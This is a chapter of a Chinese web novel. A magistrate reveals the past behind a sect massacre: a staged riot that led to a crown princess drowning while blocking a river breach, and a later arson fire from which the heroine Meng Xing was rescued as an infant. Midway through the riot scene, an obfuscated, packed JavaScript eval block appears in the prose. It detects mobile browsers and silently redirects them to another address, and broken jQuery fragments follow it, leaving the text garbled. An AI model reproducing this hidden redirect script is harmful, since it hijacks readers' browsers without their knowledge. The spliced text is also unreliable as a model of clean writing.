下堂之后，我拦住了孟行：“孟少主如今作何打算？”


    孟行双目难掩悲痛：“如今真相水落石出，我本该为师门操持后事，再等七日之后亲眼看着仇人人头落地，才算安心。可是，这样就会耽搁去往论武大会。”


    “你还打算去论武大会？”我有些不解。


    “不错，”孟行坚定地道，“师娘她们已然故去，却并非没有办法。长生天神乎其神，或许能起死回生。”


    原来是打“长生天的祝福”的主意。


    孟行又叹了口气道：“可是我也知道我学艺不精，连田锐时都赢不了，更遑论赢天下英杰了。不过总好过争也不争。”


    我道：“这般说来，明日你同我等一起北上。”


    “是，”孟行看向师妹三人，道，“她们就留在这里料理后事，我一人随你们同行。”


    贺枣道：“大师姐，你一人上路多有不便，我同你去！”


    孟行安抚她，道：“我还有这许多姊妹同行，不妨事的，这里还要倚仗你们。”


    仲宜春和黎庐异口同声地道：“放心。”


    贺枣扁扁嘴，也小声道：“你放心罢，大师姐。”


    孟行向我拱拱手，道了别，领着金阳门的几人离开了。


    虞元亭讶异地看向我：“就让她这么走了？她之前不是装睡嘛，肯定有问题！”


    “恐怕有人已然有计策了，”我面向一直在默默听着的高半明，“是也不是？”


    高半明忧心忡忡，没了谄媚神色，更添几分沉稳：“是，小姐，实不相瞒，下官也难做得很。灭门案关涉舆情，一日不破，便人心惶惶一日，曼说是百姓惊慌，上头也会施压，到时若限我三五日破案，实在是为难下官。倒不如顺水推舟给各方一个交代，七日内找出真凶便是。”


    我道：“你也认为燕峻七人不是行凶者？”


    “不错，”高半明道，“下官第一次堂审她几人时，便觉得许多事交代得不明不白，特意嘱咐燕峻住处那条街道的街道司特意留意几人。那边当差的确实在路上遇见那六人说要去采买药材，出了街道便不归她们管了，于是不知她们去往何处。这是其一。”


    “其二便是，堂上所说不存在甚么乌有和子虚医馆，是下官授意扯的慌。”高半明长长地呼出一口气，“一则是为了将燕峻等人的罪做实，二则便是为打草惊蛇。”


    澹台玉成听明白了她的言外之意：“高大人是要放出这个消息，让作俑者知晓你在扯谎？”


    “是。这样，她必定惊疑不定，不知我为何为她遮掩，是否出了变故。也必会有所行动。”高半明颔首道。


    我接口道：“那么，她大抵会前往子虚医馆附近确认。”


    高半明道：“而我等已然设好埋伏，就等她自投罗网。”


    然而，一夜过去，半个毫毛都没抓着。


    高半明顶着乌青双目，憔悴地向我请了个安：“为今之计，许是耗上几日，加紧巡查。放火烧了金阳门满门，这许多火油的来路就要细细摸排，不巧赶上游人放烟火，就更不容易。”


    我道了声“辛苦”，问道：“你觉得孟行此人如何？”


    “下官正要同小姐说此事，”高半明翻出一份文书，“昨日晚间，有一人来报，说她知晓内情。这孟行从小被金阳门主收养，旁人都道她是无母的孤儿，但昨日这人说，她曾亲眼瞧见——”


    高半明顿了顿：“金阳门主杀了孟行的娘，抱走了襁褓中的孟行。”


    虞元亭震惊地“嘶”了一声，又小声道：“这么狗血？”


    “这报官人是谁？”我心中也微微一惊。


    高半明太息道：“仲宜春。”


    “不对罢，”我质疑道，“既然孟行是大师姐，那么仲宜春该比孟行岁数小才是？又如何在许多年前亲眼见此事？”


    “金阳门并非是按年岁排辈，”高半明解释道，“而是按入门时间，仲宜春瞧着年青，实则已然过了而立之年了。当年她还未加入金阳门。”


    澹台玉成问道：“高大人，敢问金阳门主为何要杀害孟行的娘亲？”


    高半明道：“据仲宜春所说，这牵涉到一桩十八年前的旧案。不知诸位可曾听说过‘百鬼斩蛟’？”


    我并不知晓，微微摇头。


    高半明愁容更深，像是下定了甚么决心般道：“此事本不该下官多嘴嚼舌，实在是……”


    “不治你的罪，快些说罢。”我有些不耐听她这些官腔。


    高半明垂首谢恩，方道：“十八年前，潢河洪涝成灾，当时的太子自请赈灾。”


    十八年前的太子应当就是母皇年青时候。


    不，不对。


    我忽然想起，若是扈萍不曾诓骗于我，那么十八年前母皇还在军营之中，当时的太子并非母皇。


    高半明继续道：“灾民饿殍遍地，赈灾银两远远不够，潢河又一天凶似一天。灾情最严重的永乡县双重堤坝已然被冲毁……”


    潢河冲过一处山坳，来到永乡县地界。永乡县丞看着泥沙俱下，仿若在看滔天巨浪翻滚，要将这一城百姓与良田吞噬殆尽。


    勇壮的水卒们以血肉之躯同天灾搏斗，刚用沙袋堵上堤坝决口，便又被强劲的水流轰然冲开，卷着水卒们沉入滚滚浊流之中。


    再多的人命都不够填的。永乡县县丞绝望地想。


    轰轰隆隆的水声中，永乡县丞忽然听到了马蹄声。她转身看去，有一人带着侍卫打马疾驰而来。


    永乡县丞眯了眯眼，她认出了打头之人。


    永乡县丞快步疾趋，为那人牵马：“殿下万金之躯，不该来此涉险。”


    是太子。


    太子笑道：“都是骨血做的人，哪里有甚么金的银的？”


    太子下了马，介绍她身边的人给永乡县丞：“这位是都水监的郏文林大人，治河高手，母皇特意请来平患。”


    郏文林不卑不亢：“不敢。”


    几人见了礼，郏文林在堤岸处走了一圈，道：“不妨试试古法，用沉满重石的大船只挡在堤岸处，船只倾斜导流，引水行正道。”


    永乡县丞苦笑道：“大人所说之法自然是好，只是哪里有这许多大船。”


    “不用大船，”郏文林又道，“或许可用她物替代。”


    郏文林的视线向后，望向了城墙。永乡县是兵家必争之地，城墙以巨石砌筑。


    永乡县丞犹疑道：“这……”


    太子知晓她不敢决断，便说道：“拆些垛口墙处巨石应急，再往南边借些大船来，捱过这一遭便是。潢河水急，料来北灏不会于此时进犯。”


    “殿下有所不知，”永乡县丞道，“北灏人南下，未必要过潢河天险。北灏人善迂回作战，从潢河上游缓流处过，经西域沿岸向东，永乡县就在这条路上。北灏大汗野心勃勃，出如此之策也并非不能。届时，若是城墙残缺，恐怕永乡县守不住啊。”


    “城中可有巨物可以堵住决口？”太子问道。


    永乡县丞想了一圈，都觉得那些物什不可轻动，正在一筹莫展之间，郏文林忽然道：“磨盘。”


    磨盘！不错，百姓家磨盘多，又重又大，正是好物件。


    太子笑道：“着啊，请百姓将磨盘卖与官府，官府盖章为凭，待明年款项拨下，再将钱还上便是。”


    郏文林却道：“磨盘是为赈灾，赈灾是为百姓，怎可用买？征收便是，殿下就是太心慈了。”


    永乡县丞也道：“殿下，若是打了欠条，不待来年放钱，这些百姓本就淹了田地没有收成，若是日日前往县衙催债，也不好看呐。”


    太子沉吟道：“如此……做出个账来，这笔开支从我私库出。”


    听了这话，其余二人也无话可说，只道“殿下大义”。


    谁料，收购磨盘时便出了事。


    起先，无人觉得不对劲。太子那日都在堤岸旁，对城内之事知之甚少。


    直到翌日，一帮少年忽然拦住了同太子在一处的永乡县丞。


    少年们七嘴八舌地叫道：“大人，五十文收一张磨盘太少了！”


    “我知晓赵姨姨家卖了，她家本就不剩几个子，五十文算是解了燃眉之急，我们算甚么！”


    “我家一百二十文买的磨盘，五十文就收去也忒黑心了！”


    “我们若是都不卖，大人就没有东西堵堤坝了罢！给我们涨价！”


    永乡县丞无比头疼，高声道：“噤声！卖磨盘也是保家卫国之事，若是决口不堵，军士先死，本官再死，而后便是你们！”


    一少年大声道：“诡辩！那些军士全部去堵，怎么可能堵不住！她们死了是殉职，我们缴税就是养她们的，她们就是干这个的，死了也是、也是死得其所！”


    永乡县丞听得瞠目结舌，声音都被气得发抖：“混账！你是哪家的孩子？谁教你说这个的！她们也是你们的姊妹，也是活生生的人！”


    太子也蹙起眉头，她见过这样的人，在她养在乡下的幼年时期。


    现在不是教训孩子的时候，太子意识到另一件事。


    太子朗声向那群少年说道：“诸位稍安勿躁，我定会给各位一个交代。”


    此话说完，太子向永乡县丞做了个“请”的手势，二人走到一旁说话。


    “昨日孤收到的账单上，”太子平静地向永乡县丞兴师问罪，“报的可是一百文一张磨盘。”


    永乡县丞满腔怒火未熄，又恍如被一盆冰水兜头泼下：“殿下，这实属是下官不察，下头的人自作主张。”


    太子看向不息潢河，奔涌的水声夹杂着军士的嘶吼呼喝，她忽然觉得无比可笑：“不察？下头的人敢这么干，怎么会不孝敬县丞你？这般轻车驾熟，恐怕不是第一次贪墨了罢？”


    永乡县丞暗骂自个儿鬼迷心窍，本犹豫着要不要贪太子私库银钱，却被人三言两语说动——国库都贪了，太子私库算甚么！


    永乡县丞双膝一软，就要跪下，太子一把托住她的双臂：“孤明白水至清则无鱼，但莫要太过分了。”


    “是是是，”永乡县丞的衣衫像是在水中滚了一圈，“下官省得，这就叫她们将吞了的吐出来。”


    然而，不等她回县衙，那群少年忽然向太子冲了过来。


    她们不知道想了些甚么，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15093154|160162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只听有人道：“就是她，县丞向她下跪，肯定是贪的银子都进了她的口袋！我们抓住她，让她给钱！”


    太子护卫们立时拔刀护拢：“大胆！退后！”


    “贱命一条，没钱我们本也活不了，跟她们拼了！”有人抄起田间随意抛下的锄头，向护卫砸去！


    牛的绳子被割断，腿上捱了一锄，发狂向太子冲去，少年们人多势众，又全然是拚命的打法，乌泱泱的人群很快就将太子和护卫们冲散，也将县丞“护驾”的高喝淹没。


    堤坝处的军士们听见了骚乱，有人艰难上岸，却不等她冲过去，就见太子握住那头牛的角，翻身上了牛背！


    骑在东冲西撞的牛背上，太子弯下腰，从靴子里抽出了一把匕首。她将匕首贴在牛的脖颈处，双唇贴近牛耳，低声道：“来生托生在盛世罢。”


    说罢，手上用力，狠狠一割！


    按说，以这个力道，必能一刀毙命，但就在这须臾之间，不知从何处飞来一颗石子，恰恰打在太子的曲池穴上！


    太子右臂一酸，卸了力道，那牛非但没死，反而更加癫狂地冲向潢河！


    看见的护卫军士连一句“殿下快下牛”都来不及喊，就见那牛如箭矢般撞破堤岸，冲向雪白浪花，消失在茫茫泥沙中了。


    “捞啊！！”有侍卫目眦欲裂，把刀一抛，想也不想也跳进了潢河之中。


    有水性好的军士也跳了下去，几息之后，她在五丈外浮起，打了个手势：“看不见，恐怕……”


    十日后，天下缟素，为太子披白。


    后来，护卫和牛的尸体在潢河下游浮出水面，却怎也不见太子。


    永乡县丞派人去打捞，水卒从太子落水处下潜，良久方上岸。水卒面露敬意，声色肃然：“太子殿下十指深深陷入下方堤岸缝隙，以身躯堵住了决口……我搬不动。”


    “当朝大学士为太子写诔文，当中有一句‘百鬼斩蛟，何其哀也？’，就是将那群少年喻做百鬼。”高半明缓缓道。


    她不曾说后半句——太子蛟龙化身，愿其魂归天庭。


    实际上，高半明讲的这个故事一点也不绘声绘色，前面那些不过是我的“添油加醋”。高半明的顾虑我也心知肚明，不外是若是太子不死，母皇便不可即位，虽则母皇即位后为太子修了碑，追封王号，但高半明不知晓母皇真正的态度，就不敢对太子夸赞太过。


    虞元亭听得愤然：“那些少年后来如何处置了？”


    高半明道：“死刑。”


    我却不关心这个：“这个故事，同金阳门主有何干系？”


    “金阳门主同仲宜春，就是百鬼之二。”高半明一句话如同平地起惊雷，“当年她们趁乱逃走，改名换姓四处流浪，最终机缘巧合下，金阳门主拜了老门主为师，继承了金阳门。她同仲宜春姊妹情深，但老门主不肯收仲宜春，也不肯叫仲宜春学金阳门武功。老门主死后，仲宜春为了能名正言顺地使金阳门的功夫，便成了金阳门主名义上的徒儿。”


    高半明接着道：“据仲宜春交待，她和金阳门主二人实际是受雇于人，故意引起这场骚乱，就是为了针对太子。她二人趁乱逃离潢河沿岸后，找到雇主，却不料无意中听见雇主设了埋伏，要在她这一干人领钱之际，杀人灭口。仲宜春和金阳门主立刻逃离，知晓海捕文书不时便会铺天盖地堵住她们的路，便想改投太子一派，找上一位太子护卫，佯称无意中听见雇主谋划。”


    “那太子护卫正在悲痛之中，当即就要提刀杀入雇主家中。二人连忙拦住，说，那雇主后头还有大雇主，杀了小雇主就是断了线索。几人计划轮番在小雇主门前院边盯梢，想要顺藤摸瓜找出大雇主。不料，第二日，仲宜春和金阳门主的画像便贴了出来。侍卫们觉得受了诓骗，要杀她二人正法。”


    “她二人哭天抢地，说也是受了奸人蒙骗，现下知错就改，妄求将功赎罪。几个侍卫便饶了她们一命。盯了几日，还真叫她们摸到一处破绽，半道截了送信人，看清了那信上的内容和名姓。”


    “一不做二不休，几个侍卫为了给太子报仇，决意杀了大雇主和小雇主，将生死置之度外了。”


    “几人先去暗杀大雇主，她们盯了几天，自以为万事周全，却不料那大雇主府中有一道暗渠，倏忽钻出几个侍卫来，偷袭得手，将太子护卫们砍翻。而仲宜春二人早就有逃跑之意，因而远远辍在太子护卫身后，压根儿没进府中。见此情形也是转身就逃。”


    “那些侍卫中，有一个突破重围，也逃了出来。她身负重伤寻到仲宜春二人，赤红着双目说，就算杀不了大雇主，也该杀了小雇主。若她身死，就叫仲宜春二人带着书信罪证进京面圣。”


    “那护卫趁着夜黑风高，往小雇主府中放了一把火。三人看着火起，听着睡梦中人惊醒尖叫之声，望着她们困囿于火墙。”


    “就在三人要离去之际，院门地面处忽然伸出一双颤抖的手，那双手中托举着一个婴孩。火舌黑烟舔上那双手，婴孩放声高哭。”


    “有另一双手接过了那个婴孩。”


    “这个婴孩就是孟行。接过她的人正是后来的金阳门主燕欢。”